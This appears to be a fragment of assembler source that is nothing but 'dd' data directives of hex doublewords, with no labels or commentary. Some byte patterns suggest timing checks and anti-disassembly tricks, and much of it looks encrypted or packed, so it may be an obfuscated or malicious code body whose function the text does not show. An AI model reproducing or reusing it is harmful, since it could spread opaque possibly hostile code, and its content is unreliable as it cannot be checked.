		dd 0E85081A7h, 14h, 82C3BBCFh, 3ACF5821h, 0E4AA5541h, 0EC84973Ch
		dd 2373DBB3h, 2404895Fh, 2B3D9509h, 0BD8906ACh,	6AC1F5Dh
		dd 0A047858Dh, 8B6606AFh, 8A0F50D1h, 0Ch, 6860Fh, 52500000h
		dd 585A310Fh, 8B240489h, 4858DFBh, 6A06AFA0h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0C52EC357h, 0C413C97Ch, 21BBA73h, 65D958Bh, 665006ACh
		dd 89B742B9h, 8D0F2404h, 3, 0FFCB8B66h,	0AC1B6995h, 0B9958906h
		dd 8B06AC08h, 0AC1529BDh, 6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0D028C351h
		dd 9D4704CAh, 11E853h, 0F6160000h, 0E6EACE11h, 0C00FE4DBh
		dd 102FA0F5h, 8BD85BD1h, 0AC25DDBDh, 83595906h,	0AC1E85BDh
		dd 9750006h, 0A29BD83h,	740006ACh, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 6AEA09Fh,	585BD3FFh, 0A29BD83h, 740006ACh
		dd 0B8535011h, 4D0h, 9F9E9D8Dh,	0D3FF06AEh, 880F585Bh
		dd 3, 0E8CA8B66h, 8, 0C7096247h, 248029B6h, 8E0F56h, 59000000h
		dd 6AC08B5Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0D5C0C357h, 0FDC3EC74h, 0B5952958h
		dd 8906AC2Dh, 0AC0929B5h, 8C206h, 165AE6BFh, 29C08B32h
		dd 0AC011185h, 8DD48A06h, 0AFA05E85h, 39858906h, 0EB06AC0Bh
		dd 0C1000039h, 0C102CC00h, 0C102E400h, 0
		dd 52002B00h, 4B0CE8BAh, 5A04BE8Bh, 51009CDFh, 5B4798B2h
		dd 716996B3h, 7325398Bh, 701DF0DFh, 6B073AAFh, 5E0CDDB7h
		dd 0B409D7BBh, 9378FA4Ah, 6AE47CD9h, 0B46F56EDh, 22D4F61Fh
		dd 0B46F12DFh, 9374E64Ah, 0BAD42CD9h, 3F6F7BC1h, 82EAE2AAh
		dd 39C5FFF6h, 6F708EDFh, 87A9F68Ch, 3F69BA66h, 37E0DA56h
		dd 0A2E4A973h, 39C775BBh, 67323820h, 3540485Ch,	4B69FC73h
		dd 873A2DC8h, 3F69BA66h, 37E0DA56h, 0A2E4A973h,	39C7488Ch
		dd 67323820h, 0D73CF5B5h, 3F69FADCh, 62AA20FFh,	3B4DD256h
		dd 3B4D1B5Eh, 3F69AFC8h, 0EFAA829Ah, 5F822A66h,	20C06854h
		dd 8A58FC73h, 39C55A72h, 30A935BEh, 0BAAFA460h,	39C59CE6h
		dd 6A69BD89h, 3F69E837h, 0FC34D5DFh, 1B057382h,	1B2DFCDBh
		dd 3F69A2DBh, 0FC3C1ADFh, 42EDF99Ah, 0E3D8B151h, 1C9C834Fh
		dd 5BD79D18h, 0BE160B10h, 0AB3459DBh, 3F038D3Eh, 3F6AB78Eh
		dd 6649AFDFh, 73E08E1Ch, 7BE8EFFBh, 3F70F1FBh, 6E28FADFh
		dd 794ABC1Ch, 80DB803Fh, 51B5955Fh, 1E641A20h, 8AE0D173h
		dd 39C5FA6Ah, 96FC1C60h, 16EC779Fh, 556FD2B6h, 3C81EEDFh
		dd 1F695FDFh, 0B6316C87h, 0BE6DF39Bh, 266DCF9Bh, 7F69F5DFh
		dd 829398Fh, 9AE83E10h,	0C0AD535Fh, 6E69350Fh, 3F69AC37h
		dd 0FC30F7DFh, 1B256286h, 1B2D74DBh, 3F69EEDBh,	0FC383CDFh
		dd 0DEFC3786h, 556FF3D7h, 6C69C5DBh, 3F69D437h,	0FC32CBDFh
		dd 1B357C84h, 1B2D7BDBh, 3F6967DBh, 0FC3AFDDFh,	13EC2E17h
		dd 81F3AD57h, 5CA3EAC1h, 3F69EF37h, 3F79F5DFh, 3F6113DFh
		dd 0C3FC7DDFh, 0E502A737h, 853936E8h, 53A25EDEh, 3B4D9354h
		dd 3F69E637h, 3BE19BDFh, 914539D2h, 761A140Ch, 2C815730h
		dd 2B695FDFh, 6180AD6Eh, 2A3C2D9Ah, 0ACD88C22h,	891C245Dh
		dd 6133F8D0h, 4FD37D54h, 0B6265FB7h, 8D6D7B9Bh,	3F03F748h
		dd 3F6A3F8Ah, 6249EBDFh, 53E0A81Ch, 7BE8FEFBh, 3F7D79FBh
		dd 6A2CBEDFh, 0FD010E1Ch, 30830EA9h, 3F69C359h,	3F6103DFh
		dd 0B2B7F5DFh, 0B728ED69h, 0BA660FDEh, 3F69BEDFh, 1B6DDE86h
		dd 2A3723F5h, 0E7D28260h, 0B66981C9h, 936CEC52h, 55B905D9h
		dd 3C812EDFh, 1F69BEDFh, 0B6329C84h, 0BE6D8B83h, 296DF39Bh
		dd 7C69EBDFh, 0DF93368Ch, 3F79137Dh, 0A20D7DDFh, 0D8ECC485h
		dd 0ADD5EF29h, 0D873F671h, 82E2EE9Ah, 39C5C3A6h, 8D787056h
		dd 0EAE9FC70h, 3A91F682h, 3F69BC13h, 8D7CDA56h,	0FFEAA970h
		dd 26EC5EC7h, 0C6F446Dh, 3D854C1Fh, 959AFADFh, 0F99CA855h
		dd 935A875Ah, 3F031CD9h, 3F6A478Fh, 6749D7DFh, 7BE0B31Ch
		dd 7BE8F1FBh, 3F71FEFBh, 6F297DDFh, 0FCAEF21Ch,	0C6E236F1h
		dd 755990B7h, 3F633EA9h, 9E63EBDFh, 11E68E7Dh, 96FEFDE2h
		dd 204D795Eh, 554FA3E4h, 3C810CDFh, 1F69AFDFh, 0B6321484h
		dd 0BE6DCF83h, 236DD19Bh, 7C69FADFh, 8A28BE8Ch,	6F478650h
		dd 0C0C10E3Eh, 9348A26Ah, 6F69BDD9h, 3F69E837h,	0FC31D5DFh
		dd 1B2D7387h, 1B2DFCDBh, 3F69A8DBh, 0FC391FDFh,	1682EFD8h
		dd 9361FA42h, 16EC66D9h, 0CA6F5AB6h, 39744F56h,	0EF967B73h
		dd 0D739BEB5h, 3F695FDCh, 67AAF7FFh, 3B4D9356h,	3B4DAF5Eh
		dd 3F69F5C8h, 8CAAAA9Fh, 166FB967h, 93443752h, 26ECD6D9h
		dd 556F03D1h, 3C8185DFh, 1F69EBDFh, 0B6333685h,	0BE6DDE8Bh
		dd 276D599Bh, 7D69BEDFh, 316C9C8Dh, 0B26A0B57h,	9377065Ah
		dd 0C8BB6BD9h, 3F69FC37h, 0D438D8DFh, 0C44CD03Fh, 2C811211h
		dd 33695FDFh, 0A69D50CBh, 46398116h, 0D8C5DAF6h, 0D6FD19E8h
		dd 8866C357h, 0B636272Dh, 9363475Ah, 5EFCD4D9h,	0D66F03ECh
		dd 3F69D7D9h, 6CBD487h,	0BAAFE50Dh, 39C5C9E6h, 3F79948Ch
		dd 0DC36BEDFh, 107B130Ch, 6AF9E52Dh, 0ADA19C2Ch, 0AD01E57Dh
		dd 6DA75C64h, 37B92E60h, 3BE8249Dh, 38E4F8FBh, 30E350F1h
		dd 0D669AFDFh, 3F69D7D5h, 46E07145h, 0A65C70DFh, 8A964E77h
		dd 39C55CD2h, 0D73BBEB5h, 3F695FDCh, 65AAF5FFh,	3B4D8356h
		dd 3B4DAF5Eh, 3F69F5C9h, 6BAAA89Dh, 0BAD6D0BFh,	0B273B2FAh
		dd 9000765Ah, 0EADC24D9h, 0C06F7BF2h, 6E69810Fh, 3F69F637h
		dd 0FC30DADFh, 1B25F486h, 1B2D3FDBh, 3F6947DBh,	0FC38EEDFh
		dd 289BDD53h, 5F9E6002h, 3F6A77D0h, 0B40FFADFh,	0BAE01C18h
		dd 39C59F9Ah, 0E3AFDEB9h, 6EC697Ah, 6C6F7BECh, 0D73BEBB5h
		dd 3F69F5DCh, 65AAA0FFh, 3B4D2956h, 3B4DFA5Eh, 3F695FC9h
		dd 96AAFD9Dh, 3B81982Ah, 8C69EBDFh, 59B1ED1Bh, 6F0F9460h
		dd 3FE472BFh, 5969BEDFh, 5E17E560h, 3B4DEB54h, 3F6B57D0h
		dd 0C4E2EBDFh, 0ADD8F554h, 3B4DBE56h, 3F697437h, 0CBFBCCDFh
		dd 0F59C35Dh, 6733AD3Bh, 0D73CD7B5h, 3F69EBDCh,	62AAA8FFh
		dd 3B4D9656h, 3B4D395Eh, 3F69BECBh, 0C4AA0A9Ah,	1E641A20h
		dd 0A2E0D173h, 39C5CB16h, 56407052h, 0B2E0FC70h, 39C55D3Ah
		dd 0BD666E20h, 3F695FDCh, 0B69910D0h, 9360125Ah, 6D6981D9h
		dd 3F69F637h, 0FC33DADFh, 1B3DF485h, 1B2D3FDBh,	3F6944DBh
		dd 0FC3BEDDFh, 0D6701162h, 4B718A04h, 3F7179D0h, 2C80FADFh
		dd 9E697DDFh, 2840A9B1h, 0B8B40FA5h, 0B040907Ah, 19495B3h
		dd 0BAAF271Ah, 39C5C6E6h, 3F6D1298h, 0E2C07DDFh, 0FFD80901h
		dd 0CA76E58Fh, 7BE2D7DCh, 0B40FD3FBh, 59696011h, 7BE00C54h
		dd 0E8E2FEFBh, 3F649487h, 0BB53BEDFh, 22A82CBEh, 96297A1Bh
		dd 0C05E8994h, 9348E66Ah, 6C699FD9h, 3F69F937h,	0FC325DDFh
		dd 1B353784h, 1B2DDEDBh, 3F69B6DBh, 0FC3A94DFh,	0FE547341h
		dd 0BE0F1ED8h, 0BE5F7C01h, 0B7CEB73Dh, 16EC33F5h, 806FF0B6h
		dd 65D721E7h, 3F030720h, 3F6A0388h, 6049F5DFh, 43E0A51Ch
		dd 7BE879FBh, 3F7CBAFBh, 682E5FDFh, 5FDC041Ch, 23BC6A54h
		dd 0D609ED73h, 3F69F5D3h, 7D738823h, 0D056C634h, 18C1EC50h
		dd 3854DA54h, 5E08A973h, 31B05256h, 0AA68ED73h,	39C5C55Eh
		dd 0C507F19h, 552E7B73h, 3C81EBDFh, 1F695FDFh, 0B6346C82h
		dd 0BE6DF3B3h, 2A6DCF9Bh, 7A69F5DFh, 417398Ah, 0D501986Dh
		dd 0BE49CB7Fh, 50F97BDBh, 0F3E3CEB9h, 1E646220h, 8AE2ED73h
		dd 39C5FB16h, 56407F52h, 3F037B70h, 3F6A568Eh, 66495FDFh
		dd 73E0F61Ch, 7BE8D3FBh, 3F71EFFBh, 6E28F5DFh, 71A7771Ch
		dd 0BE0F1845h, 0B6694909h, 9379D26Ah, 0B6B950D9h, 935BEE5Ah
		dd 6AEC62D9h, 306F59EBh, 3F69FE5Bh, 56D31BDFh, 6EC788Ah
		dd 786FF3ECh, 0D73BAFB5h, 3F69D7DCh, 65AAB1FFh,	3B4DA156h
		dd 3B4DBE5Eh, 3F697DC4h, 89AAEC9Dh, 28B4FF8Ch, 0D7A8FF11h
		dd 3F69D7DBh, 95A4D782h, 0B566958Fh, 3F69FADDh,	0B40F278Dh
		dd 7BE2DF09h, 0ACDB5BFBh, 0D709AF54h, 3F69D7CEh, 3758A61Ch
		dd 765F9101h, 3D6A73EBh, 0FA83AACCh, 0A7D1E62Fh, 5E61E478h
		dd 3B4DEB56h, 59BC63BFh, 67082D54h, 2C006856h, 8A96FC73h
		dd 39C55CD2h, 0D73EBEB5h, 3F695FDCh, 60AAF0FFh,	3B4DAB56h
		dd 3B4DAF5Eh, 3F69F5C8h, 96AAAD98h, 59D597E3h, 0B25BDD66h
		dd 9000765Ah, 6869C5D9h, 3F69D437h, 0FC36CBDFh,	1B157C80h
		dd 1B2D7BDBh, 3F6969DBh, 0FC3EF9DFh, 3CE75084h,	0BF69AFDFh
		dd 0EF969B01h, 3F69E237h, 0B0F232DFh, 2F32F391h, 0AAE09EF2h
		dd 39C5BFA6h, 3EECD680h, 0C06F03F8h, 6C69BD0Fh,	3F69E837h
		dd 0FC32D5DFh, 1B357384h, 1B2DFCDBh, 3F69A2DBh,	0FC3A1CDFh
		dd 2D5F60DBh, 0A4AE03DEh, 0E5E88D50h, 0BAE05F2Fh, 39C5FA76h
		dd 0D7387DB5h, 3F69BEDCh
		dd 66AA06FFh, 3B4DE356h, 3B4D935Eh, 3F69EBCBh, 0CBAAA49Eh
		dd 55B176B9h, 3C812CDFh, 1F69BEDFh, 0B6309C86h,	0BE6D8B93h
		dd 236DF39Bh, 7E69EBDFh, 8AF6368Eh, 0F9033D22h,	0D7D17A17h
		dd 3F69BED3h, 0CCBD8268h, 0FDB6E9C7h, 0D3A39FD3h, 669F5CD0h
		dd 82E2F1FBh, 39C5EE3Eh, 0BB66BDD5h, 3F69BD64h,	2FA0D254h
		dd 8066A973h, 6EC1116h,	706F47ECh, 1E604856h, 3B81FC73h
		dd 0FB697DDFh, 59D63EB3h, 6F791A61h, 3F69A337h,	43AEC8DFh
		dd 8A4EAB2Ch, 0D1EA9B4Ah, 0B166AC28h, 3F697DDFh, 7BE2E781h
		dd 37815BFBh, 0C169AFDFh, 20803256h, 8AD93946h,	3FE2AABDh
		dd 0AEFCE960h, 1B2DF4E7h, 0C5E2D8DBh, 68693587h, 3F69AC37h
		dd 0FC36F7DFh, 1B156280h, 1B2D74DBh, 3F69E3DBh,	0FC3E3ADFh
		dd 0E20E24h, 0AAE01CE0h, 39C5A89Eh, 8A961F54h, 39C5CAD2h
		dd 0D73BF5B5h, 3F69FADCh, 65AA27FFh, 3B4DEA56h,	3B4D1B5Eh
		dd 3F69AFC5h, 6CAA859Dh, 0ECF75DFDh, 0BAE49B46h, 39C693F6h
		dd 1844C054h, 0A268B873h, 39C56D62h, 3F037F20h,	3F6A3F8Ah
		dd 6249EBDFh, 53E0A81Ch, 7BE8FEFBh, 3F7279FBh, 6A2CBEDFh
		dd 0AD626B1Ch, 0B7357CECh, 3F6F3E8Dh, 93F0EBDFh, 4AD53C50h
		dd 554D3A5Ch, 3C812CDFh, 1F69BEDFh, 0B6309C86h,	0BE6D8B93h
		dd 2B6DF39Bh, 7E69EBDFh, 0B6C2368Eh, 9360475Ah,	6C6917D9h
		dd 3F69BD37h, 0FC327FDFh, 1B352684h, 1B2D56DBh,	3F69F7DBh
		dd 0FC3AB6DFh, 38D79409h, 0C94281C1h, 0D4090703h, 0BAE24E46h
		dd 39C5AF76h, 0D73BD7B5h, 3F69EBDCh, 65AAAFFFh,	3B4DAE56h
		dd 3B4D395Eh, 3F69BEC4h, 61AA0D9Dh, 1AE3B7B8h, 0B47BF30Dh
		dd 935A0262h, 3EF47ED9h, 346F56F8h, 9370484Ah, 72F497D9h
		dd 7C6FF3ECh, 0D738AFB5h, 3F69D7DCh, 66AAB2FFh,	3B4DB956h
		dd 3B4DBE5Eh, 3F697DC9h, 0B0AAEF9Eh, 3580893Eh,	0B369AFDFh
		dd 91398298h, 19695F0h,	9ADC7E08h, 0B46F56F1h, 3F7D95C4h
		dd 0EE2CBEDFh, 0ECA063E9h, 6AC43FEDh, 8C7F94B1h, 0EF20A1BAh
		dd 2C818F3Ah, 969FADFh,	5921E53Ch, 0DD34DA04h, 3159E5D9h
		dd 7ADE5012h, 0BA666E96h, 3F69EBDFh, 24E2AC80h,	3F03E154h
		dd 3F6A9588h, 6049BEDFh, 43E0001Ch, 7BE8ABFBh, 3F75D3FBh
		dd 682EEBDFh, 0C0E2051Ch, 5068353Ah, 8A40A6DFh,	39C5B342h
		dd 3F66D4D0h, 3580AFDFh, 1469D7DFh, 69EFE356h, 8DDE53D8h
		dd 55B1C9C5h, 3C812CDFh, 1F69BEDFh, 0B6309C86h,	0BE6D8B93h
		dd 296DF39Bh, 7E69EBDFh, 25B368Eh, 4EDC73BCh, 0B66FD1EEh
		dd 93705742h, 16EC6ED9h, 0F96F03EFh, 935AEE5Ah,	0B2E2ACD9h
		dd 39C5F25Ah, 3B95BEB7h, 0BE9AF667h, 1E849AEBh,	3F035005h
		dd 3F6A478Ch, 6449D7DFh, 63E0B01Ch, 7BE8F1FBh, 3F7CFEFBh
		dd 6C2A7DDFh, 0B4CAC91Ch, 93709E6Ah, 32DC50D9h,	0B66F7BFEh
		dd 9370DE62h, 16EC78D9h, 0B46F55B6h, 93630452h,	55B941D9h
		dd 3C810EDFh, 1F69AFDFh, 0B6301486h, 0BE6DCF93h, 286DD19Bh
		dd 7E69FADFh, 2ACBE8Eh,	8AE2B6B3h, 39C5570Eh, 31B02A56h
		dd 3280D173h, 0E569EBDFh, 0DB73B1C9h, 4CFEBBB3h, 0E98ED860h
		dd 3F69B736h, 845CF0DFh, 0A4E536CEh, 5529A3CDh,	3C81BCDFh
		dd 1F69F5DFh, 0B6363980h, 0BE6D59A3h, 226D9A9Bh, 78695FDFh
		dd 0DBE36C88h, 0F6BD54C3h, 0C1646A04h, 3F7B76D0h, 3280FADFh
		dd 4D697DDFh, 0EFEFA421h, 4706D6E7h, 61009B36h,	3F03D754h
		dd 3F6A038Eh, 6649F5DFh, 73E0A31Ch, 7BE879FBh, 3F75BAFBh
		dd 6E285FDFh, 0B4E3F11Ch, 0B01B2CB6h, 0F6E84A60h, 7619D73Dh
		dd 0B691FA54h, 935A605Ah, 12FC35D9h, 0D66FF3CBh, 3F69AE58h
		dd 0D738D7B5h, 3F69EBDCh, 66AAACFFh, 3B4DB656h,	3B4D395Eh
		dd 3F69BEC7h, 5CAA0E9Eh, 1D921635h, 3F69DC36h, 0B8ECB1DFh
		dd 0F5EF5102h, 0F0E7BE25h, 0B290C2D0h, 90DB895Ah, 6F6935D9h
		dd 3F69AC37h, 0FC31F7DFh, 1B2D6287h, 1B2D74DBh,	3F69E1DBh
		dd 0FC393DDFh, 0AB9BB7D8h, 337E8418h, 0F0D3C94Fh, 8BD087B2h
		dd 0AF6CA95Ah, 0D73FF5B5h, 3F69FADCh, 61AA23FFh, 3B4DCA56h
		dd 3B4D1B5Eh, 3F69AFC9h, 0D3AA8199h, 0FDE8A6E2h, 0C54DC92h
		dd 188C6F20h, 3F037B73h, 3F6A5688h, 60495FDFh, 43E0F01Ch
		dd 7BE8D3FBh, 3F74EFFBh, 682EF5DFh, 5852581Ch, 0D6E5BA30h
		dd 59CF50AFh, 0B659D960h, 9367525Ah, 2F45AD9h, 556F446Dh
		dd 3C81A2DFh, 1F69FADFh, 0B636BE80h, 0BE6D9AA3h, 236D7B9Bh
		dd 7869AFDFh, 0A67D1488h, 671A4976h, 6FE73C3Eh,	3F6D78D0h
		dd 800F7DDFh, 23E00C07h, 0D69ED4FBh, 3F69AFD9h,	41B94BFDh
		dd 0D739EDC5h, 3F69F5D9h, 9F3A4CBEh, 0CCE36A02h, 1B6D3786h
		dd 0D73C5FB5h, 3F69AFDCh, 62AA8AFFh, 3B4D8756h,	3B4DB15Eh
		dd 3F69FAC5h, 0A9AA289Ah, 62C41627h, 0AA40E7EEh, 39C58FD2h
		dd 0C0BB60D0h, 9365FA4Ah, 6A699FD9h, 3F69F937h,	0FC345DDFh
		dd 1B053782h, 1B2DDEDBh, 3F69B5DBh, 0FC3C92DFh,	0AA3E69CEh
		dd 3E68B7D7h, 9377A75Ah, 82ECF4D9h, 0D66F12D6h,	3F695FD4h
		dd 0EDD5DFB8h, 0D8FD056Ah, 0F937AC30h, 935ACC5Ah, 3081A9D9h
		dd 77697DDFh, 93393D67h, 0E5ACEB2Bh, 0EC1E5A9Eh, 2B808A7Fh
		dd 0C869EBDFh, 0D0ADCAF5h, 0A5D502A5h, 12846D44h, 83BC6641h
		dd 6157989Eh, 0D79824B9h, 3F69D7DBh, 95EE6FA0h,	0D739AB8Eh
		dd 3F69FAD4h, 8B70265Fh, 0F92F9F37h, 6FE64B43h,	303BFF8Dh
		dd 30318DEEh, 0D74B51EEh, 6733DEDDh, 1B2D7181h,	3F7A94DBh
		dd 0C1EABEDFh, 8176866h, 7A9F4D72h, 0FA6B62DDh,	3BCC6147h
		dd 0D7697E17h, 3F69FAD9h, 4469B221h, 2B80EA4Ah,	0C2695FDFh
		dd 0F11B87D6h, 31D38B1Ah, 12041828h, 6255FFC1h,	66B243D5h
		dd 3B4D3956h, 59319F69h, 0B739855Eh, 1E641A20h,	3F03D173h
		dd 3F6A038Fh, 6749F5DFh, 7BE0A21Ch, 7BE879FBh, 3F7EBAFBh
		dd 6F295FDFh, 0FA93FA1Ch, 3F663E1Fh, 6ACDEBDFh,	5F1A0C0h
		dd 30C428BBh, 0DFE3182Ch, 0B2110BCDh, 9000765Ah, 6A69C5D9h
		dd 3F69D437h, 0FC34CBDFh, 1B057C82h, 1B2D7BDBh,	3F696ADBh
		dd 0FC3CFBDFh, 10FE7263h, 599E10D0h, 0E65C0D5Eh, 3F033B20h
		dd 3F6A1D88h, 6049FADFh, 43E0221Ch, 7BE8BAFBh, 3F705BFBh
		dd 682EAFDFh, 1927951Ch, 0B43B54B5h, 9378446Ah,	9AEC73D9h
		dd 596FD1D2h, 0C2BF715Eh, 0C50DA19h, 552EA973h,	3C8185DFh
		dd 1F69EBDFh, 0B6333685h, 0BE6DDE8Bh, 2A6D599Bh, 7D69BEDFh
		dd 84F89C8Dh, 1E3711B7h, 3FE7D83Fh, 0BE69EBDFh,	7447D1EBh
		dd 3F03BB8Ch, 3F6A958Ah, 6249BEDFh, 53E0021Ch, 7BE8ABFBh
		dd 3F71D3FBh, 6A2CEBDFh, 3FC76E1Ch, 0B63F923Fh,	936F105Ah
		dd 8A96E1D9h, 39C57ED2h, 0D73BAFB5h, 3F69D7DCh,	65AAB1FFh
		dd 3B4DA156h, 3B4DBE5Eh, 3F697DC2h, 84AAEC9Dh, 0BD7B6E68h
		dd 68A98E45h, 0B2B85C9Ch, 9000C25Ah, 0EFD093D9h, 55B905FEh
		dd 3C812ADFh, 1F69BEDFh, 0B6369C80h, 0BE6D8BA3h, 246DF39Bh
		dd 7869EBDFh, 52663688h, 0AA657F4Eh, 358083A0h,	3269BEDFh
		dd 164D6015h, 0FDAC43A9h, 76FCE6B5h, 0B66F47DFh, 9376A05Ah
		dd 0D07445D9h, 0BAAF52F8h, 39C58DE6h, 6869358Ch, 3F69AC37h
		dd 0FC36F7DFh, 1B156280h, 1B2D74DBh, 3F69EEDBh,	0FC3E3ADFh
		dd 4AF43759h, 3E6FF3FAh, 93447E62h, 3F6D3FD9h, 60F9EBDFh
		dd 59396CE6h, 0B4B53161h, 0B56D599Bh, 0B4693533h, 1B2DD625h
		dd 489116DBh, 0C331FB08h, 1E645E20h, 3F03F373h,	3F6A128Fh
		dd 67497DDFh, 7BE0E61Ch
		dd 7BE85BFBh, 3F7EABFBh, 6F29D7DFh, 8EE7651Ch, 16EC78ABh
		dd 556F55B6h, 3C812EDFh, 1F69BEDFh, 0B6329C84h,	0BE6D8B83h
		dd 246DF39Bh, 7C69EBDFh, 823368Ch, 26BDE906h, 0AAE0C0E0h
		dd 39C5A0B2h, 0E18E254h, 0EF96A973h, 0D73FD7B5h, 3F69EBDCh
		dd 61AAABFFh, 3B4D8E56h, 3B4D395Eh, 3F69BEC9h, 84AA0999h
		dd 0BF3E17D7h, 30337A16h, 3F69E851h, 0C8E293DFh, 34907F56h
		dd 850F7B73h, 0BAAF6C4Bh, 39C56CE6h, 3B815388h,	3969D7DFh
		dd 59F9EF8Dh, 69390654h, 5E09A88Fh, 6D394CD0h, 67338FD0h
		dd 0B4360785h, 0D66D8B9Bh, 3F69D7CFh, 50EE0CA3h, 3DF9F469h
		dd 80E8278Dh, 0E369277Ch, 0BF66BE54h, 3F695FDDh, 7BE05F55h
		dd 0B631D3FBh, 93704652h, 32DC0AD9h, 556F56FEh,	3C812BDFh
		dd 1F69BEDFh, 0B6379C81h, 0BE6D8BABh, 256DF39Bh, 7969EBDFh
		dd 9763689h, 1EAE707Dh,	72E45E34h, 0C76F12F1h, 5640DA52h
		dd 3F03A970h, 3F6A3F89h, 6149EBDFh, 4BE0AB1Ch, 7BE8FEFBh
		dd 3F7279FBh, 692FBEDFh, 90B2A01Ch, 4B22C04Dh, 5E176E15h
		dd 0EF969C22h, 1A54AB9h, 0DB67BB9h, 56ECF4E3h, 0BE6F12FFh
		dd 0F415AD15h, 6EC69D6h, 7C6F7BECh, 43A6B9B7h, 6D39958Eh
		dd 0E669BBFh, 3F697836h, 87ED4DDFh, 67331DE0h, 279ECD61h
		dd 3BE8B692h, 2CC93DFBh, 303F95B4h, 5E312B68h, 1E64C820h
		dd 800FB873h, 0BAE467D3h, 39C6C6F6h, 1B346A56h,	0EF96ED73h
		dd 0B49742D0h, 936CBF4Ah, 4AECF4D9h, 0D66F12DEh, 3F695FD4h
		dd 906A8B96h, 0DFCA1A35h, 0B26AB36Ah, 90DBD85Ah, 6E6990D9h
		dd 3F697E37h, 0FC309EDFh, 1B25D686h, 1B2D2EDBh,	3F69CCDBh
		dd 0FC38AADFh, 0D0D6F88h, 7F31E6F4h, 0AF95975Fh, 3F783FD0h
		dd 6D395FDFh, 0E66FD8Fh, 0E668F85h, 2A6A8A65h, 6F31AFC9h
		dd 16F9EC6Ah, 936E3C5Ah, 0DAFC41D9h, 556FF3F8h,	3C81FADFh
		dd 1F69D7DFh, 0B6342882h, 0BE6DD1B3h, 2B6DDE9Bh, 7A697DDFh
		dd 5F237D8Ah, 1934E2F6h, 0AA60A973h, 39C5D0AAh,	55B160BEh
		dd 3C81A3DFh, 1F69FADFh, 0B637BE81h, 0BE6D9AABh, 276D7B9Bh
		dd 7969AFDFh, 79E81489h, 0CAB8F9F9h, 5F594FB9h,	31F467DEh
		dd 0BAE47B73h, 39C60CFEh, 3F6FD0D0h, 0BA58AFDFh, 39C5C6EAh
		dd 3F65038Fh, 9E30F5DFh, 324478C8h, 0BE70D38Dh,	0B2660A7Ch
		dd 3F695FDCh, 60A124B9h, 554DD356h, 3C81BDDFh, 1F69F5DFh
		dd 0B6373981h, 0BE6D59ABh, 296D9A9Bh, 79695FDFh, 19AF6C89h
		dd 3681874Dh, 2769EBDFh, 0B905E60Eh, 304F971Dh,	3F697B37h
		dd 6A1BA7DFh, 0D77C3682h, 3F69AFCCh, 0A75ED4B3h, 0A8F9773h
		dd 26F55463h, 8FA36E28h, 601473FFh, 23E0E480h, 696935FBh
		dd 3F69AC37h, 0FC37F7DFh, 1B1D6281h, 1B2D74DBh,	3F69E3DBh
		dd 0FC3F3BDFh, 54EECD20h, 0E4D8AAA7h, 56FCAEBFh, 0BF6F7BDAh
		dd 0C008AC10h, 9365E44Ah, 76E473D9h, 0B66FD1DFh, 93688B5Ah
		dd 6C6935D9h, 3F69AC37h, 0FC32F7DFh, 1B356284h,	1B2D74DBh
		dd 3F69EFDBh, 0FC3A3EDFh, 800F3054h, 0BAAE54D8h, 39C5B342h
		dd 3F69D7D0h, 0E506E56h, 0AA96F373h, 39C5FBEAh,	0D73B7DB5h
		dd 3F69BEDCh, 65AA05FFh, 3B4DFB56h, 3B4D935Eh, 3F69EBC2h
		dd 0A6AAA79Dh, 2CBC534Dh, 7117E18Fh, 6EC3795h, 556FF3C6h
		dd 3C81FEDFh, 1F69D7DFh, 0B6302886h, 0BE6DD193h, 2B6DDE9Bh
		dd 7E697DDFh, 0B6487D8Eh, 935DF652h, 26EC24D9h,	0B26F7BD1h
		dd 90AFE442h, 3E2A7CD9h, 21B84752h, 8AE47B73h, 39C67B36h
		dd 3F696C66h, 0D4CD5CDFh, 3F696FECh, 0FF62EBDFh, 27ABF6ABh
		dd 1B2D71DFh, 3F812ED3h, 6469BEDFh, 3F7E9C5Eh, 63E0AFDFh
		dd 7BE0C7FBh, 8732FFFBh, 3FC855E8h, 7BE21A20h, 0DF9679FBh
		dd 366C0354h, 0B7665973h, 3F69AFD9h, 37D05A54h,	3F03ED73h
		dd 3F6A1D88h, 6049FADFh, 43E0221Ch, 7BE8BAFBh, 3F725BFBh
		dd 682EAFDFh, 2BD64B1Ch, 8D1AD73Fh, 11714F61h, 5508A922h
		dd 3C812FDFh, 1F69BEDFh, 0B6339C85h, 0BE6D8B8Bh, 296DF39Bh
		dd 7D69EBDFh, 0D6F7368Dh, 4FBE7BFDh, 0B42C3B2Ch, 93607352h
		dd 1ED4D2D9h, 0B26F006Dh, 90AF4A52h, 945C53D9h,	0BA5A6DF9h
		dd 39C5E442h, 0D6A8B2F4h, 4AB409DDh, 0D99378FAh, 0ED6AE47Ch
		dd 1FB46F56h, 0DF22D4F6h, 4AB46F12h, 5E983E6h, 0D98BA4F3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 2BC35141h
		dd 2890C753h, 6CE9A3h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5CA1FCC3h, 3AE77976h
		dd 0E9C28B60h, 11h, 43F36D51h, 85C4CD45h, 0C9D53FC1h, 6B26C1FAh
		dd 0F6161E9h, 185h, 6AC3F800h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E974C357h,	6, 0A73D8EC2h
		dd 0C08BCA99h, 0F18B60FCh, 6147CE80h, 1E85BD83h, 750006ACh
		dd 29BD8309h, 6AC0Ah, 53501974h, 0B9B8C08Bh, 89000004h
		dd 0AC0C0185h, 0CB9D8D06h, 0FF06AEA2h, 83585BD3h, 0AC0A29BDh
		dd 17740006h, 0B9B85350h, 89000004h, 0AC0C0185h, 6C9D8D06h
		dd 0FF06AE9Fh, 6A585BD3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1D67C351h, 0E9F5631Ah
		dd 14h,	123CF1BFh, 0D5D162FFh, 0FB1CBCBh, 22CB86D7h, 0D12C9C3Eh
		dd 8C0FC08Bh, 11h, 0CE9h, 0F6B1A000h, 2131840Ah, 0F4825CADh
		dd 0C18B4032h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
